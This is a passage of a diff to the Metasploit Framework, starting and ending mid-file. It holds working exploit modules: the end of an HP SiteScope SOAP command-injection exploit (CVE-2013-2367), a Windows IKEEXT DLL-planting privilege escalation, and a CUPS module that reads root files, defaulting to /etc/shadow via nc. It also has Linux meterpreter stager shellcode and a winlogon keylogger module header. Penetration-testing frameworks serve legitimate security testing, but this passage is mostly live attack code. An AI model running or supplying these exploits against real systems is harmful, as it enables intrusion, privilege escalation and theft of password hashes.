with the (optional) HP Operations Agent component. The module
|
||||||
|
has been tested successfully on HP SiteScope 11.20 (with HP
|
||||||
|
Operations Agent) over Windows 2003 SP2.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-2367'],
|
||||||
|
[ 'OSVDB', '95824' ],
|
||||||
|
[ 'BID', '61506' ],
|
||||||
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ]
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
|
||||||
|
},
|
||||||
|
'DisclosureDate' => 'Jul 29 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def uri
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
uri << '/' if uri[-1,1] != '/'
|
||||||
|
return uri
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
|
||||||
|
op = rand_text_alpha(8 + rand(10))
|
||||||
|
key = rand_text_alpha(8 + rand(10))
|
||||||
|
value = rand_text_alpha(8 + rand(10))
|
||||||
|
|
||||||
|
res = send_soap_request(op, key, value)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
print_status("#{@peer} - Delivering payload...")
|
||||||
|
|
||||||
|
# The path to the injection is something like:
|
||||||
|
# * Java exec => cscript => WScript.Shell => cmd.exe (injection happens)
|
||||||
|
# Empirically has been tested a 1500 value for :linemax makes it work
|
||||||
|
# reliable
|
||||||
|
execute_cmdstager({:linemax => 1500})
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_vbs_string(str)
|
||||||
|
vbs_str = ""
|
||||||
|
str.each_byte { |b|
|
||||||
|
vbs_str << "Chr(#{b})+"
|
||||||
|
}
|
||||||
|
|
||||||
|
return vbs_str.chomp("+")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Make the modifications required to the specific encoder
|
||||||
|
# This exploit uses an specific encoder because quotes (")
|
||||||
|
# aren't allowed when injecting commands
|
||||||
|
def execute_cmdstager_begin(opts)
|
||||||
|
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
|
||||||
|
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
|
||||||
|
decoded_file = "#{var_decoded}.exe"
|
||||||
|
encoded_file = "#{var_encoded}.b64"
|
||||||
|
@cmd_list.each { |command|
|
||||||
|
# Because the exploit kills cscript processes to speed up and reliability
|
||||||
|
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
|
||||||
|
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
|
||||||
|
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts={})
|
||||||
|
# HTML Encode '&' character
|
||||||
|
# taskkill allows to kill the cscript process which is triggering the
|
||||||
|
# different operations performed by the OPACTIVATE command. It speeds
|
||||||
|
# up exploitation and improves reliability (some processes launched can die
|
||||||
|
# due to the fake activation). But this line also will kill other cscript
|
||||||
|
# legit processes which could be running on the target host. Because of it
|
||||||
|
# the exploit has a Manual ranking
|
||||||
|
command = ""127.0.0.1 && "
|
||||||
|
command << cmd.gsub(/&/, "&")
|
||||||
|
command << " && taskkill /F /IM cscript.exe ""
|
||||||
|
|
||||||
|
res = send_soap_request("OPCACTIVATE", "omHost", command)
|
||||||
|
|
||||||
|
if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/
|
||||||
|
fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_soap_request(op, key, value)
|
||||||
|
data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
|
||||||
|
data << "xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:api=\"http://Api.freshtech.COM\">"
|
||||||
|
data << "<soapenv:Header/>"
|
||||||
|
data << "<soapenv:Body>"
|
||||||
|
data << "<api:runOMAgentCommand soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
||||||
|
data << "<in0 xsi:type=\"x-:Map\" xmlns:x-=\"http://xml.apache.org/xml-soap\">"
|
||||||
|
data << "<item xsi:type=\"x-:mapItem\">"
|
||||||
|
data << "<key xsi:type=\"xsd:string\">#{key}</key>"
|
||||||
|
data << "<value xsi:type=\"xsd:string\">#{value}</value>"
|
||||||
|
data << "</item>"
|
||||||
|
data << "</in0>"
|
||||||
|
data << "<in1 xsi:type=\"xsd:string\">#{op}</in1>"
|
||||||
|
data << "</api:runOMAgentCommand>"
|
||||||
|
data << "</soapenv:Body>"
|
||||||
|
data << "</soapenv:Envelope>"
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'text/xml; charset=UTF-8',
|
||||||
|
'data' => data,
|
||||||
|
'headers' => {
|
||||||
|
'SOAPAction' => '""'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,313 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/windows/services'
|
||||||
|
require 'msf/core/post/windows/priv'
|
||||||
|
require 'msf/core/post/windows/accounts'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Services
|
||||||
|
include Msf::Post::Windows::Accounts
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
|
||||||
|
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
|
||||||
|
installations of Vista-Win8.
|
||||||
|
It requires an insecure bin path to plant the DLL payload.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
|
||||||
|
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Oct 09 2012",
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ben Campbell <eat_meatballs@hotmail.co.uk>'
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win'],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||||
|
],
|
||||||
|
'SessionTypes' => [ "meterpreter" ],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'WfsDelay' => 5,
|
||||||
|
'ReverseConnectRetries' => 255
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
|
||||||
|
])
|
||||||
|
@service_name = 'IKEEXT'
|
||||||
|
@load_lib_search_path = [ '%SystemRoot%\\System32',
|
||||||
|
'%SystemRoot%\\System',
|
||||||
|
'%SystemRoot%'
|
||||||
|
]
|
||||||
|
@non_existant_dirs = []
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_service_exists?(service)
|
||||||
|
srv_info = service_info(service)
|
||||||
|
|
||||||
|
if srv_info.nil?
|
||||||
|
print_warning("Unable to enumerate services.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if srv_info && srv_info['Name'].empty?
|
||||||
|
print_warning("Service #{service} does not exist.")
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
srv_info = service_info(@service_name)
|
||||||
|
|
||||||
|
if !check_service_exists?(@service_name)
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status(srv_info.to_s)
|
||||||
|
|
||||||
|
case srv_info['Startup']
|
||||||
|
when 'Disabled'
|
||||||
|
print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
when 'Manual'
|
||||||
|
print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
when 'Auto'
|
||||||
|
print_good("Service is set to Automatically start...")
|
||||||
|
end
|
||||||
|
|
||||||
|
if check_search_path
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_search_path
|
||||||
|
dll = 'wlbsctrl.dll'
|
||||||
|
|
||||||
|
@load_lib_search_path.each do |path|
|
||||||
|
dll_path = "#{expand_path(path)}\\#{dll}"
|
||||||
|
|
||||||
|
if file_exist?(dll_path)
|
||||||
|
print_warning("DLL already exists at #{dll_path}...")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_system_path
|
||||||
|
print_status("Checking %PATH% folders for write access...")
|
||||||
|
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
|
||||||
|
|
||||||
|
if result.nil?
|
||||||
|
print_error("Unable to retrieve %PATH% from registry.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
paths = result.split(';')
|
||||||
|
paths.append(@load_lib_search_path).flatten!.uniq!
|
||||||
|
|
||||||
|
paths.each do |p|
|
||||||
|
path = expand_path(p)
|
||||||
|
if exist?(path)
|
||||||
|
if check_write_access(path)
|
||||||
|
return path
|
||||||
|
end
|
||||||
|
else
|
||||||
|
# User may be able to create the path...
|
||||||
|
print_status("Path #{path} does not exist...")
|
||||||
|
@non_existant_dirs << path
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_write_access(path)
|
||||||
|
perm = check_dir_perms(path, @token)
|
||||||
|
if perm and perm.include?('W')
|
||||||
|
print_good ("Write permissions in #{path} - #{perm}")
|
||||||
|
return true
|
||||||
|
elsif perm
|
||||||
|
vprint_status ("Permissions for #{path} - #{perm}")
|
||||||
|
else
|
||||||
|
vprint_status ("No permissions for #{path}")
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_dirs
|
||||||
|
print_status("Attempting to create a non-existant PATH dir to use.")
|
||||||
|
@non_existant_dirs.each do |dir|
|
||||||
|
begin
|
||||||
|
client.fs.dir.mkdir(dir)
|
||||||
|
if exist?(dir)
|
||||||
|
register_file_for_cleanup(dir)
|
||||||
|
return dir
|
||||||
|
end
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
vprint_status("Unable to create dir: #{dir} - #{e}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_session_arch
|
||||||
|
if sysinfo['Architecture'] =~ /x64/i
|
||||||
|
if payload_instance.arch.first == 'x86'
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if payload_instance.arch.first =~ /64/i
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
check_session_arch
|
||||||
|
|
||||||
|
begin
|
||||||
|
@token = get_imperstoken
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
vprint_error("Error while using get_imperstoken: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
|
||||||
|
|
||||||
|
if is_system?
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Checking service exists...")
|
||||||
|
if !check_service_exists?(@service_name)
|
||||||
|
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_uac_enabled?
|
||||||
|
print_warning("UAC is enabled, may get false negatives on writable folders.")
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['DIR'].empty?
|
||||||
|
# If DLL already exists in system folders, we dont want to overwrite by accident
|
||||||
|
if check_search_path
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
|
||||||
|
end
|
||||||
|
|
||||||
|
file_path = check_system_path
|
||||||
|
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
|
||||||
|
|
||||||
|
if file_path.nil?
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
# Use manually selected Dir
|
||||||
|
file_path = datastore['DIR']
|
||||||
|
end
|
||||||
|
|
||||||
|
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
|
||||||
|
|
||||||
|
service_information = service_info(@service_name)
|
||||||
|
|
||||||
|
if service_information['Startup'] == 'Disabled'
|
||||||
|
print_status("Service is disabled, attempting to enable...")
|
||||||
|
service_change_startup(@service_name, 'auto')
|
||||||
|
service_information = service_info(@service_name)
|
||||||
|
|
||||||
|
# Still disabled
|
||||||
|
if service_information['Startup'] == 'Disabled'
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check architecture
|
||||||
|
dll = generate_payload_dll
|
||||||
|
|
||||||
|
#
|
||||||
|
# Drop the malicious executable into the path
|
||||||
|
#
|
||||||
|
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
|
||||||
|
begin
|
||||||
|
write_file(@dll_file_path, dll)
|
||||||
|
register_file_for_cleanup(@dll_file_path)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
# Can't write the file, can't go on
|
||||||
|
fail_with(Exploit::Failure::Unknown, e.message)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Run the service, let the Windows API do the rest
|
||||||
|
#
|
||||||
|
print_status("Launching service #{@service_name}...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
status = service_start(@service_name)
|
||||||
|
if status == 1
|
||||||
|
print_status("Service already running, attempting to restart...")
|
||||||
|
if service_stop(@service_name) == 0
|
||||||
|
print_status("Service stopped, attempting to start...")
|
||||||
|
if service_start(@service_name) == 0
|
||||||
|
print_status("Service started...")
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
|
||||||
|
end
|
||||||
|
elsif status == 0
|
||||||
|
print_status("Service started...")
|
||||||
|
end
|
||||||
|
rescue RuntimeError => e
|
||||||
|
raise e if e.kind_of? Msf::Exploit::Failed
|
||||||
|
if service_information['Startup'] == 'Manual'
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
||||||
|
else
|
||||||
|
if job_id
|
||||||
|
print_status("Unable to start service, handler running waiting for a reboot...")
|
||||||
|
while(true)
|
||||||
|
break if session_created?
|
||||||
|
select(nil,nil,nil,1)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -74,7 +74,8 @@ module Metasploit3
|
||||||
# requirement. You can not upload an application if it is signed
|
# requirement. You can not upload an application if it is signed
|
||||||
# with a key whose validity expires before that date.
|
# with a key whose validity expires before that date.
|
||||||
# """
|
# """
|
||||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
|
||||||
|
cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 ))
|
||||||
|
|
||||||
jar.sign(key, cert, [cert])
|
jar.sign(key, cert, [cert])
|
||||||
|
|
||||||
|
|
|
@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
include Msf::Payload::Linux
|
||||||
include Msf::Sessions::CommandShellOptions
|
include Msf::Sessions::CommandShellOptions
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
|
|
@ -24,7 +24,6 @@ module Metasploit3
|
||||||
'Session' => Msf::Sessions::Meterpreter_x86_Linux))
|
'Session' => Msf::Sessions::Meterpreter_x86_Linux))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]),
|
|
||||||
OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ])
|
OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
@ -71,21 +70,6 @@ module Metasploit3
|
||||||
|
|
||||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
||||||
|
|
||||||
if(datastore['PrependFork'])
|
|
||||||
# fork() / parent does exit()
|
|
||||||
|
|
||||||
# If the target process is threaded, this means the thread
|
|
||||||
# will exit. exit_group() will try to close the process down
|
|
||||||
# completely.. and if we do that, it may not be reaped
|
|
||||||
# correctly.
|
|
||||||
#
|
|
||||||
# Plus, depending on the vuln, we might get multiple shots at
|
|
||||||
# owning a finite amount of threads.
|
|
||||||
|
|
||||||
midstager <<
|
|
||||||
"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80"
|
|
||||||
end
|
|
||||||
|
|
||||||
midstager <<
|
midstager <<
|
||||||
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
||||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
||||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
include Msf::Payload::Linux
|
||||||
include Msf::Sessions::CommandShellOptions
|
include Msf::Sessions::CommandShellOptions
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
|
|
@ -0,0 +1,172 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Common
|
||||||
|
|
||||||
|
LP_GROUPS = ['lpadmin', '_lpadmin']
|
||||||
|
|
||||||
|
attr_accessor :web_server_was_disabled, :error_log_was_reset
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info, {
|
||||||
|
'Name' => 'CUPS 1.6.1 Root File Read',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
|
||||||
|
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
|
||||||
|
configuration, which can specify an Error Log path. When the user visits the
|
||||||
|
Error Log page in the web interface, the cupsd daemon (running with setuid root)
|
||||||
|
reads the Error Log path and echoes it as plaintext.
|
||||||
|
|
||||||
|
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
|
||||||
|
as long as the session is in the lpadmin group.
|
||||||
|
|
||||||
|
Warning: if the user has set up a custom path to the CUPS error log,
|
||||||
|
this module might fail to reset that path correctly. You can specify
|
||||||
|
a custom error log path with the ERROR_LOG datastore option.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-5519'],
|
||||||
|
['OSVDB', '87635'],
|
||||||
|
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
"Jann Horn", # discovery
|
||||||
|
"joev <jvennix[at]rapid7.com>" # metasploit module
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Nov 20 2012',
|
||||||
|
'Platform' => ['osx', 'linux']
|
||||||
|
}))
|
||||||
|
register_options([
|
||||||
|
OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
|
||||||
|
OptString.new("ERROR_LOG",
|
||||||
|
[true, "The original path to the CUPS error log", '/var/log/cups/error_log']
|
||||||
|
)
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_exploitability
|
||||||
|
user = cmd_exec("whoami")
|
||||||
|
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
|
||||||
|
if (user_groups & LP_GROUPS).empty?
|
||||||
|
print_error "User not in lpadmin group."
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
print_good "User in lpadmin group, continuing..."
|
||||||
|
end
|
||||||
|
|
||||||
|
if ctl_path.blank?
|
||||||
|
print_error "cupsctl binary not found in $PATH"
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
print_good "cupsctl binary found in $PATH"
|
||||||
|
end
|
||||||
|
|
||||||
|
nc_path = whereis("nc")
|
||||||
|
if nc_path.nil? or nc_path.blank?
|
||||||
|
print_error "Could not find nc executable"
|
||||||
|
return Msf::Exploit::CheckCode::Unknown
|
||||||
|
else
|
||||||
|
print_good "nc binary found in $PATH"
|
||||||
|
end
|
||||||
|
|
||||||
|
config_path = whereis("cups-config")
|
||||||
|
config_vn = nil
|
||||||
|
|
||||||
|
if config_path.nil? or config_path.blank?
|
||||||
|
# cups-config not present, ask the web interface what vn it is
|
||||||
|
output = get_request('/')
|
||||||
|
if output =~ /title.*CUPS\s+([\d\.]+)/i
|
||||||
|
config_vn = $1.strip
|
||||||
|
end
|
||||||
|
else
|
||||||
|
config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
|
||||||
|
end
|
||||||
|
|
||||||
|
if config_vn.nil?
|
||||||
|
print_error "Could not determine CUPS version."
|
||||||
|
return Msf::Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status "Found CUPS #{config_vn}"
|
||||||
|
|
||||||
|
config_parts = config_vn.split('.')
|
||||||
|
if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
|
||||||
|
Msf::Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
Msf::Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if check_exploitability == Msf::Exploit::CheckCode::Safe
|
||||||
|
print_error "Target machine not vulnerable, bailing."
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
defaults = cmd_exec(ctl_path)
|
||||||
|
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
|
||||||
|
|
||||||
|
# first we set the error log to the path intended
|
||||||
|
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
|
||||||
|
cmd_exec("#{ctl_path} WebInterface=yes")
|
||||||
|
@error_log_was_reset = true
|
||||||
|
|
||||||
|
# now we go grab it from the ErrorLog route
|
||||||
|
file = strip_http_headers(get_request('/admin/log/error_log'))
|
||||||
|
|
||||||
|
# and store as loot
|
||||||
|
f = File.basename(datastore['FILE'])
|
||||||
|
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
|
||||||
|
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
print_status "Cleaning up..."
|
||||||
|
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
|
||||||
|
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def prev_error_log_path; datastore['ERROR_LOG']; end
|
||||||
|
def ctl_path; @ctl_path ||= whereis("cupsctl"); end
|
||||||
|
def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end
|
||||||
|
|
||||||
|
def whereis(exe)
|
||||||
|
line = cmd_exec("whereis #{exe}")
|
||||||
|
if line =~ /^\S+:\s*(\S*)/i
|
||||||
|
$1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
|
||||||
|
else
|
||||||
|
line # on osx it just returns '/usr/sbin/cupsctl'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_request(uri)
|
||||||
|
output = perform_request(uri, 'nc -j localhost 631')
|
||||||
|
|
||||||
|
if output =~ /^usage: nc/
|
||||||
|
output = perform_request(uri, 'nc localhost 631')
|
||||||
|
end
|
||||||
|
|
||||||
|
output
|
||||||
|
end
|
||||||
|
|
||||||
|
def perform_request(uri, nc_str)
|
||||||
|
# osx requires 3 newlines!
|
||||||
|
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
|
||||||
|
end
|
||||||
|
end
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post
|
||||||
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
|
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module migrates and logs Microsoft Windows user's passwords via
|
This module migrates and logs Microsoft Windows user's passwords via
|
||||||
Winlogon.exe. Using idle time and natural system changes to give a
|
Winlogon.exe using idle time and natural system changes to give a
|
||||||
false sense of security to the user.},
|
false sense of security to the user.},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'mubix', 'cg' ],
|
'Author' => [ 'mubix', 'cg' ],
|
||||||
|
|
|
@ -11,6 +11,7 @@ require 'msf/core/post/common'
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
include Msf::Post::Common
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::Windows::Accounts
|
||||||
|
|
||||||
def initialize(info={})
|
